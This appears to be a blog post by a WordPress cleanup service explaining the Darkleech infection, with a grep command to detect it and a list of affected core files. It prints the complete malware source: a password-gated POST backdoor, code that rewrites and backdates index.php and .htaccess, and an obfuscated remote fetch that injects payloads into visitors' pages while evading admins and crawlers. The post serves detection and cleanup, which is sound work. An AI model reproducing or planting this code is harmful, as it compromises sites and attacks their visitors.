Rampant WordPress Infection: Darkleech

WordPress is really no more or less vulnerable than any other CMS built on the same foundations of the web. The good news about WP is that so many people support it. So can WordPress get a “virus”? While this isn’t specifically a “virus” it is an infection that spreads on it’s own using built in scripts. If you have WordPress anywhere other than wordpress.com you may very well have this infection. You probably won’t ever even know it.

This is Darkleech. It is set to never show up to a logged in admin or user. It is set to display around only one time per day. Even if a security scan is run on your sitethe odds of the infection being found is millions to one. The best way to find it is to look for it. (I will look for it for you and eliminate it for as little as $35)

It’s real. It’s hard to detect even for security scanners. If you have it, you may never know it even if you scan your site with a popular site security scanner. Here’s the offending code:

*///istart

function my_time($dir) {
 foreach (glob($dir . '/wp-*.php') as $f) {
 $times[] = filemtime($f);
 }
 $max = 1;
 for ($i = 0; $i < count($times) - 1; $i++) {
 $k = 1;
 for ($j = $i + 1; $j < count($times); $j++) {
 if ($times[$i] == $times[$j]) {
 $k++;
 if ($k > $max) {
 $max = $k;
 $time = $times[$i];
 }
 }
 }
 }
 return $time;
}

function my_correct($dir) {
 $time = 0;
 $path = $dir . '/index.php';
 $content = base64_decode('PD9waHAKLyoqCiAqIEZyb250IHRvIHRoZSBXb3JkUHJlc3MgYXBwbGljYXRpb24uIFRoaXMgZmlsZSBkb2Vzbid0IGRvIGFueXRoaW5nLCBidXQgbG9hZHMKICogd3AtYmxvZy1oZWFkZXIucGhwIHdoaWNoIGRvZXMgYW5kIHRlbGxzIFdvcmRQcmVzcyB0byBsb2FkIHRoZSB0aGVtZS4KICoKICogQHBhY2thZ2UgV29yZFByZXNzCiAqLwoKLyoqCiAqIFRlbGxzIFdvcmRQcmVzcyB0byBsb2FkIHRoZSBXb3JkUHJlc3MgdGhlbWUgYW5kIG91dHB1dCBpdC4KICoKICogQHZhciBib29sCiAqLwpkZWZpbmUoJ1dQX1VTRV9USEVNRVMnLCB0cnVlKTsKCi8qKiBMb2FkcyB0aGUgV29yZFByZXNzIEVudmlyb25tZW50IGFuZCBUZW1wbGF0ZSAqLwpyZXF1aXJlKCBkaXJuYW1lKCBfX0ZJTEVfXyApIC4gJy93cC1ibG9nLWhlYWRlci5waHAnICk7Cg==');
 if (file_get_contents($path) != $content) {
 chmod($path, 0644);
 file_put_contents($path, $content);
 chmod($path, 0444);
 $time = my_time($dir);
 touch($path, $time);
 }

$path = $dir . '/.htaccess';
 $content = base64_decode('IyBCRUdJTiBXb3JkUHJlc3MKPElmTW9kdWxlIG1vZF9yZXdyaXRlLmM+ClJld3JpdGVFbmdpbmUgT24KUmV3cml0ZUJhc2UgLwpSZXdyaXRlUnVsZSBeaW5kZXhcLnBocCQgLSBbTF0KUmV3cml0ZUNvbmQgJXtSRVFVRVNUX0ZJTEVOQU1FfSAhLWYKUmV3cml0ZUNvbmQgJXtSRVFVRVNUX0ZJTEVOQU1FfSAhLWQKUmV3cml0ZVJ1bGUgLiAvaW5kZXgucGhwIFtMXQo8L0lmTW9kdWxlPgoKIyBFTkQgV29yZFByZXNzCg==');
 if (file_exists($path) AND file_get_contents($path) != $content) {
 chmod($path, 0644);
 file_put_contents($path, $content);
 chmod($path, 0444);
 if (!$time) {
 $time = my_time($dir);
 }
 touch($path, $time);
 }
}

$p = $_POST;
$_passssword = 'f0009eadf4791c0d1dd192d7cfc94e5e';
if (@$p[$_passssword] AND @$p['a'] AND @$p['c']) @$p[$_passssword](@$p['a'], @$p['c'], '');
my_correct(dirname(__FILE__) . '/..');

function request_url_data($url) {
 if(!is_valid_url($url))
 return false;

$site_url = (preg_match('/^https?:\/\//i', $_SERVER['REQUEST_URI']) ? $_SERVER['REQUEST_URI'] : 'http://' . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI']);
 if (function_exists('curl_init')) {
 $ch = curl_init();
 curl_setopt($ch, CURLOPT_TIMEOUT, 5);
 curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5);
 curl_setopt($ch, CURLOPT_URL, $url);
 curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
 curl_setopt($ch, CURLOPT_HTTPHEADER, array(
 'X-Forwarded-For: ' . $_SERVER["REMOTE_ADDR"],
 'User-Agent: ' . $_SERVER["HTTP_USER_AGENT"],
 'Referer: ' . $site_url,
 ));
 $response = trim(curl_exec($ch));
 } elseif (function_exists('fsockopen')) {
 $m = parse_url($url);
 if ($fp = fsockopen($m['host'], 80, $errno, $errstr, 6)) {
 fwrite($fp, 'GET http://' . $m['host'] . $m["path"] . '?' . $m['query'] . ' HTTP/1.0' . "\r\n" .
 'Host: ' . $m['host'] . "\r\n" .
 'User-Agent: ' . $_SERVER["HTTP_USER_AGENT"] . "\r\n" .
 'X-Forwarded-For: ' . @$_SERVER["REMOTE_ADDR"] . "\r\n" .
 'Referer: ' . $site_url . "\r\n" .
 'Connection: Close' . "\r\n\r\n");
 $response = '';
 while (!feof($fp)) {
 $response .= fgets($fp, 1024);
 }
 list($headers, $response) = explode("\r\n\r\n", $response);
 fclose($fp);
 }
 } else {
 $response = 'curl_init and fsockopen disabled';
 }
 return $response;
}

error_reporting(0);

//unset($_passssword);

if (function_exists("add_action")) {
 add_action('wp_head', 'add_2head');
 add_action('wp_footer', 'add_2footer');
}

function add_2head() {
 ob_start();
}

function is_valid_url(&$url)
{
 if (!preg_match('/^(.+?)(\d+)\.(\d+)\.(\d+)\.(\d+)(.+?)$/', $url, $m))
 return false;
 $url = $m[1].$m[5].'.'.$m[4].'.'.$m[3].'.'.$m[2].$m[6];
 return true;
}

function add_2footer() {
 $check = false;
 $check_data = "";
 if (!empty($_GET['check']) AND $_GET['check'] == 'f0009eadf4791c0d1dd192d7cfc94e5e') {
 $check = true;
 $check_data = ('<!--checker_start ');
 $check_data .= (substr(request_url_data('http://maxcdn.bootstrapcdn.com/bootstrap/3.3.4/css/bootstrap.min.css'), 0, 100));
 $check_data .= (' checker_end-->');
 }

if (!$check) {
 if ($_SERVER['REQUEST_METHOD'] != 'GET')
 return;
 if (!@$_SERVER['HTTP_USER_AGENT'] OR (substr($_SERVER['REMOTE_ADDR'], 0, 6) == '74.125') OR preg_match('/(googlebot|msnbot|yahoo|search|bing|ask|indexer)/i', $_SERVER['HTTP_USER_AGENT']))
 return;


 $cookie_name = 'PHP_SESSION_PHP';
 if (isset($_COOKIE[$cookie_name]))
 return;

foreach (array('/\.css$/', '/\.swf$/', '/\.ashx$/', '/\.docx$/', '/\.doc$/', '/\.xls$/', '/\.xlsx$/', '/\.xml$/', '/\.jpg$/', '/\.pdf$/', '/\.png$/', '/\.gif$/', '/\.ico$/', '/\.js$/', '/\.txt$/', '/ajax/', '/cron\.php$/', '/wp\-login\.php$/', '/\/wp\-includes\//', '/\/wp\-admin/', '/\/admin\//', '/\/wp\-content\//', '/\/administrator\//', '/phpmyadmin/i', '/xmlrpc\.php/', '/\/feed\//') as $regex) {
 if (preg_match($regex, $_SERVER['REQUEST_URI']))
 return;
 }

}

$buffer = ob_get_clean();
 ob_start();
 $regexp = '/<body[^>]*>/is';
 if (preg_match($regexp, $buffer, $m)) {
 $body = $m[0];
// $url = base64_decode('a3d3czksLDIxNC07Oi0xMzItMjA7LGFvbGQsPG5ibWBrZnB3ZnEldnduXHBsdnFgZj41MjExNTkyMzExOzMxOTEzMjA=');
 $url = decrypt_url('a3d3czksLDIxNC07Oi0xMzItMjA7LGFvbGQsPG5ibWBrZnB3ZnEldnduXHBsdnFgZj41MjExNTkyMzExOzMxOTEzMjA=');
// if (($code = request_url_data($url)) AND base64_decode($code) AND preg_match('#[a-zA-Z0-9+/]+={0,3}#is', $code, $m)) {
 if (($code = request_url_data($url)) AND $decoded = base64_decode($code, true)) {
// $body .= '<script>var date = new Date(new Date().getTime() + 60*60*24*7*1000); document.cookie="' . $cookie_name . '=' . mt_rand(1, 1024) . '; path=/; expires="+date.toUTCString();</script>';
// $body .= base64_decode($m[0]);
 $body .= $decoded;
// $body .= base64_decode($m[0]);
 }
 $body .= $check_data;

$buffer = preg_replace($regexp, $body, $buffer);
 }
 echo $buffer;
 ob_flush();
}

function decrypt_url($encrypted_url)
{
 $encrypted_url = base64_decode($encrypted_url);
 $url = '';
 for ($i = 0; $i < strlen($encrypted_url); $i++)
 {
 $url .= chr(ord($encrypted_url[$i]) ^ 3);
 }
 return $url;
}//iend

Obviously you can find it with user: grep -irn ‘///istart’ – which will return the location and line number. It should always start on line 501, 529, or 540 depending on the version of WP you are using. This is just on the file wp-includes/nav-menu.php. It possibly affects all of the following:

  • wp-includes/nav-menu.php
  • wp-includes/js/mediaelement/mediaelement-and-player.min.js
  • wp-admin/css/customize-widgets.css
  • wp-includes/theme-compat/footer.php
  • wp-includes/js/tinymce/skins/lightgray/fonts/tinymce.svg
  • wp-includes/js/media-grid.min.js
  • wp-includes/js/thickbox/thickbox.js
  • wp-includes/customize/class-wp-customize-image-control.php
  • wp-includes/certificates/ca-bundle.crt
  • wp-admin/js/customize-nav-menus.min.js
  • wp-admin/css/customize-widgets.css
  • wp-admin/css/colors/sunrise/colors.min.css
  • wp-admin/css/colors/ocean/colors.min.css
  • wp-admin/css/colors/midnight/colors.min.css
  • wp-admin/css/colors/coffee/colors.min.css
  • wp-admin/css/colors/coffee/colors.min.css
  • wp-admin/css/colors/light/colors.min.css
  • wp-admin/css/colors/blue/colors.min.css
  • license.txt

Offsite related reading or tools:

  • https://blog.sucuri.net/2015/03/pseudo-darkleech-server-root-infection.html (using Sucuri’s scanner online probably will not discover Darkleech)
  • http://ddecode.com/phpdecoder/ (used to decode base64 encoded text used by Darkleech in the menu file)
  • http://www.unmaskparasites.com/ (probably will not discover Darkleech)